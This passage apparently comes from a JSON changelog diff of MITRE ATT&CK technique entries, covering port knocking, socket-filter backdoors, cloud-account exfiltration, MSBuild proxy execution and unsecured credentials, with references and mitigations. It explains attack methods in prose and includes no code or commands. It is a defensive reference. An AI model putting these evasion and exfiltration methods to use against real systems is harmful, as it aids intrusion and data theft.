network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\\n\\nThe Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\\n-\\n-The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)\"}}}", + "previous_version": "2.5", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0524: Traffic Signaling (Port-knock / magic-packet \u2192 firewall or service activation) \u2013 T1205" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-07-01 18:23:25.002000+00:00", + "modified": "2025-10-24 17:49:04.301000+00:00", + "name": "Port Knocking", + "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1205/001", + "external_id": "T1205.001" + }, + { + "source_name": "Hartrell cd00r 2002", + "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.", + "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.301000+00:00\", \"old_value\": \"2025-04-25 14:47:21.421000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0302: Port-knock \u2192 rule/daemon change \u2192 first successful connect (T1205.001)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-09-30 21:18:41.930000+00:00", + "modified": "2025-10-24 17:48:19.274000+00:00", + "name": "Socket Filters", + "description": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1205/002", + "external_id": "T1205.002" + }, + { + "source_name": "exatrack bpf filters passive backdoors", + "description": "ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.", + "url": "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf" + }, + { + "source_name": "crowdstrike bpf socket filters", + "description": "Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.", + "url": "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/" + }, + { + "source_name": "Leonardo Turla Penquin May 2020", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf" + }, + { + "source_name": "haking9 libpcap network sniffing", + "description": "Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.", + "url": "http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tim (Wadhwa-)Brown", + "CrowdStrike" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:19.274000+00:00\", \"old_value\": \"2025-04-15 23:09:39.651000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0162: Socket-filter trigger \u2192 on-host raw-socket activity \u2192 reverse connection (T1205.002)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-30 13:03:04.038000+00:00", + "modified": "2025-10-24 17:49:27.409000+00:00", + "name": "Transfer Data to Cloud Account", + "description": "Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.\n\nA defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.(Citation: TLDRSec AWS Attacks)\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1537", + "external_id": "T1537" + }, + { + "source_name": "AWS EBS Snapshot Sharing", + "description": "Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html" + }, + { + "source_name": "TLDRSec AWS Attacks", + "description": "Clint Gibler and Scott Piper. (2021, January 4). Lesser Known Techniques for Attacking AWS Environments. Retrieved March 4, 2024.", + "url": "https://tldrsec.com/p/blog-lesser-known-aws-attacks" + }, + { + "source_name": "Azure Shared Access Signature", + "description": "Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.", + "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature" + }, + { + "source_name": "Azure Blob Snapshots", + "description": "Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.", + "url": "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview" + }, + { + "source_name": "Microsoft Azure Storage Shared Access Signature", + "description": "Microsoft. (2023, June 7). Grant limited access to Azure Storage resources using shared access signatures (SAS). Retrieved March 4, 2024.", + "url": "https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.", + "url": "https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Darin Smith, Cisco", + "ExtraHop", + "Gabriel Currie" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Office Suite", + "SaaS" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Storage: Cloud Storage Modification\", \"Snapshot: Snapshot Creation\", \"Snapshot: Snapshot Modification\", \"Cloud Storage: Cloud Storage Metadata\", \"Snapshot: Snapshot Metadata\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Cloud Storage: Cloud Storage Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.409000+00:00\", \"old_value\": \"2025-04-15 23:16:36.472000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \\n\\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \\\"Get Snapshot SAS URL\\\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. \\n-\\n-In AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a \\\"Get Snapshot SAS URL\\\" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1037: Filter Network Traffic", + "M1054: Software Configuration", + "M1057: Data Loss Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0010: Cloud Storage (Cloud Storage Creation)", + "DS0010: Cloud Storage (Cloud Storage Metadata)", + "DS0010: Cloud Storage (Cloud Storage Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0020: Snapshot (Snapshot Creation)", + "DS0020: Snapshot (Snapshot Metadata)", + "DS0020: Snapshot (Snapshot Modification)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0573: Cross-Platform Detection of Data Transfer to Cloud Account" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:39.262000+00:00", + "modified": "2025-10-24 17:49:40.055000+00:00", + "name": "Trusted Developer Utilities Proxy Execution", + "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.\n\nSmart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them.(Citation: Microsoft Smart App Control) However, adversaries may leverage \"reputation hijacking\" to abuse an operating system\u2019s trust of safe, signed applications that support the execution of arbitrary code. By leveraging [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127) to run their malicious code, adversaries may bypass Smart App Control protections.(Citation: Elastic Security Labs)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1127", + "external_id": "T1127" + }, + { + "source_name": "Exploit Monday WinDbg", + "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160816135945/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html" + }, + { + "source_name": "Elastic Security Labs", + "description": "Joe Desimone. (2024, August 5). Dismantling Smart App Control. Retrieved March 21, 2025.", + "url": "https://www.elastic.co/security-labs/dismantling-smart-app-control" + }, + { + "source_name": "LOLBAS Tracker", + "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/" + }, + { + "source_name": "Microsoft Smart App Control", + "description": "Microsoft. (n.d.). Smart App Control Frequently Asked Questions. Retrieved April 4, 2025.", + "url": "https://support.microsoft.com/en-us/windows/smart-app-control-frequently-asked-questions-285ea03d-fa88-4d56-882e-6698afdb7003" + }, + { + "source_name": "engima0x3 RCSI Bypass", + "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.", + "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/" + }, + { + "source_name": "engima0x3 DNX Bypass", + "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Casey Smith", + "Matthew Demaske, Adaptforward" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Module: Module Load\", \"Process: Process Metadata\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.055000+00:00\", \"old_value\": \"2025-04-15 19:59:24.863000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\\n\\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\\n-\\n-Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0172: Behavior-chain, platform-aware detection strategy for T1127 Trusted Developer Utilities Proxy Execution (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-27 21:50:26.042000+00:00", + "modified": "2025-10-24 17:49:22.881000+00:00", + "name": "MSBuild", + "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1127/001", + "external_id": "T1127.001" + }, + { + "source_name": "LOLBAS Msbuild", + "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/" + }, + { + "source_name": "Microsoft MSBuild Inline Tasks 2017", + "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021.", + "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element" + }, + { + "source_name": "MSDN MSBuild", + "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.", + "url": "https://msdn.microsoft.com/library/dd393574.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "@ionstorm", + "Carrie Roberts, @OrOneEqualsOne" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.881000+00:00\", \"old_value\": \"2025-04-16 20:37:20.712000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0556: Behavior-chain detection strategy for T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:09.835000+00:00", + "name": "Trusted Relationship", + "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1199", + "external_id": "T1199" + }, + { + "source_name": "CISA IT Service Providers", + "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.", + "url": "https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers" + }, + { + "source_name": "Office 365 Delegated Administration", + "description": "Microsoft. (n.d.). Partners: Offer delegated administration. Retrieved May 27, 2022.", + "url": "https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "ExtraHop", + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Identity Provider", + "Office Suite" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Logon Session: Logon Session Metadata\", \"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.835000+00:00\", \"old_value\": \"2025-04-15 23:17:12.008000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.\"}}}", + "previous_version": "2.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0488: Detect abuse of Trusted Relationships (third-party and delegated admin access)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 12:47:23.631000+00:00", + "modified": "2025-10-24 17:48:42.785000+00:00", + "name": "Unsecured Credentials", + "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552", + "external_id": "T1552" + }, + { + "source_name": "Brining MimiKatz to Unix", + "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", + "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": 